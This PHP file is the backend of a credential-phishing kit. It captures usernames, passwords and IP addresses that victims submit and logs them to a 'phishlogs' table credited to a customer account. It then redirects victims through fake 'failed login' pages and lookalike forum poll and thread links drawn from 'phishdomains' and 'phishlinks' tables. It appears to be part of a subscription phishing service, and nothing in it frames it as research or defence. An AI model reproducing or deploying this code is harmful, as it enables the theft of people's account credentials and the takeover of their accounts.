<?php
    session_start();

    if (!isset($_POST['username'],$_POST['password'],$_POST['userID']))
        die();

    $included = true;
    include_once('db.php');


    $method = $_POST['method'];
    $dir = $_POST['dir'];
    $userID = $_POST['userID'];

    $query = $Database->selectPrepare("SELECT * FROM `phishlinks` Order by `ID` DESC LIMIT 1", array());
        while ($getInfo = $Database->fetchObject($query))
        {

        $link1 = $getInfo->link1;
        $link2 = $getInfo->link2;
        $thread1 = $getInfo->thread1;
        $thread2 = $getInfo->thread2;
        $poll1 = $getInfo->poll1;
        $poll2 = $getInfo->poll2;

        $amount = $getInfo->amount;
        }
    $query = $Database->selectPrepare("SELECT * FROM `phishdomains` where `domain` = :domain Order by `ID` DESC LIMIT 1", array(":domain" => $domain));
        while ($getDomainInfo = $Database->fetchObject($query))
        {

        $linksub = $getDomainInfo->linksub;
        $threadsub = $getDomainInfo->threadsub;
        $pollsub = $getDomainInfo->pollsub;
        $linkssl = $getDomainInfo->linkssl;
        $threadssl = $getDomainInfo->threadssl;
        $pollssl = $getDomainInfo->pollssl;
        }


    $loginlink = "forums.ws".$link2."";


    $redirectLocation = "http://bit.ly/Ryv62h";



    switch ($method) {
        case "poll":
            if (!isset($_SESSION['try'])) {
                $redirectLocation = "".$linkssl.$linksub.".".$domain."/".$link1."/".$loginlink."/".$dir."/?id=".$userID."&failed&p";
                $_SESSION['try'] = 1;
            }
            else if ($_SESSION['try'] == 1) {
                $redirectLocation = "".$pollssl.$pollsub.".".$domain."/".$poll1."/oldschool/".$dir."/results.php?id=".$userID."&success";
                unset($_SESSION['try']);
            }
        break;

        case "thread":
            if (!isset($_SESSION['try'])) {
                $redirectLocation = "".$linkssl.$linksub.".".$domain."/".$link1."/".$loginlink."/".$dir."/?id=".$userID."&failed&t";
                $_SESSION['try'] = 1;
            }
            else if ($_SESSION['try'] == 1) {
                $redirectLocation = "".$threadssl.$threadsub.".".$domain."/".$thread1."/".$loginlink."/".$dir."/?id=".$userID."";
                unset($_SESSION['try']);
        }
        break;

        default:
            if (!isset($_SESSION['try'])) {
                $redirectLocation = "".$linkssl.$linksub.".".$domain."/".$link1."/".$loginlink."/".$dir."/?id=".$userID."&failed";
                $_SESSION['try'] = 1;
            }
            else if ($_SESSION['try'] == 1) {
                unset($_SESSION['try']);
        }
    }



    if (isset($_SERVER['HTTP_CF_CONNECTING_IP']))
        $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP'];

    $username = $_POST['username'];
    $password = $_POST['password'];
    $ip= $_SERVER['REMOTE_ADDR'];

    $strippeduser = strip_tags($username);
    $strippedpass = strip_tags($password);


        $query = $Database->selectPrepare("SELECT * FROM `users` WHERE `ID` = :ID Order by `ID` DESC LIMIT 1", array(":ID" => $userID));
        while ($getInfo = $Database->fetchObject($query))
        {
        $timezone = $getInfo->timezone;
        $plan = $getInfo->membership;
        }

    date_default_timezone_set($timezone);
    $today = time();


switch ($plan) {
    case 0:
        $owner = 1;
        break;
    default:
        $owner = $userID;
}

    $valid = "0";
    $status = 0;

    $logcount = $Database->countRow($Database->selectPrepare("SELECT * FROM phishlogs WHERE `user` = :user AND `pass` = :pass AND `ip` = :ip AND `owner` = :owner", array(":user" => $username, ":pass" => $password, ":ip" => $ip, ":owner" => $owner)));



    if ($logcount > 0){

    }else{

    $Database->selectPrepare("INSERT INTO phishlogs (user, pass, date, ip, owner, status, valid) VALUES (:username, :password, :date, :ip, :owner, :status, :valid)",
        array(':username' => $strippeduser, ':password' => $strippedpass, ':date' => $today, ':ip' => $ip, ':owner' => $owner, ':status' => $status, ':valid' => $valid));
    }

    $Database->closeConnection();
    header ('Location: '.$redirectLocation);
?>